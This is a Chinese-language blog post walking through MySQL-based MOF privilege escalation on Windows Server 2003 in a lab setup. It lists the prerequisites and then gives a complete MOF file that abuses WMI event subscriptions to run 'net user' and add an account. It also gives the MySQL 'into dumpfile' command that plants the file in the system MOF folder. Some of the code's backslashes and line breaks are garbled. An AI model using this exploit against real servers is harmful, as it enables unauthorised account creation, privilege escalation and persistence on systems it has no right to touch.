mof提权

mof提权

原理:

mof的作用是每隔五秒监控一次进程的创建和死亡,因此可以在mof中写入恶意代码,进行提权

 

利用条件:
  • 操作系统版本低于 win2008

  • 可以通过mysql导出文件到%SystemRoot%System32WbemMOF 文件夹下的MOF文件中,即需要mysql root权限以及secure_file_priv的值为空或者是%SystemRoot%System32WbemMOF路径

 
mof编译方法:
  • 将MOF文件执行为命令行参数及Mofcomp.exe文件

  • 使用IMofCompiler接口和$CompileFile方法

  • 拖放到 %SystemRoot%System32WbemMOF 文件夹下的MOF文件中

 
环境:
  • 攻击机:win7

  • 靶机:win2003

 
复现:

服务器getshell后查看数据库用户与secure_file_priv的值

 

 

 

 数据库用户为root,具有file权限,并且secure_file_priv的值为空,即可以导出文件到用户拥有写权限的任意目录,符合mof提权的条件

 

将以下代码保存为 test.mof 文件,修改第 17 行代码为添加一个普通用户命令,之后可以修改为将用户加入管理员用户组等其他命令

#pragma namespace("\.
ootsubscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\Cimv2";
Name  = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa "Win32_LocalTime" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject("WScript.Shell")
WSH.run("net.exe user Yhck 123456 /add")";
};

instance of __FilterToConsumerBinding
{
Consumer   = $Consumer;
Filter = $EventFilter;
};

上传该mof文件到任意位置,再通过select load_file('文件的当前位置') into dumpfile 'C:/WINDOWS/system32/wbem/mof/test.mof'进行提权

参考:

https://www.cnblogs.com/wkzb/p/13179418.html

原文地址:https://www.cnblogs.com/Yhck/p/14285600.html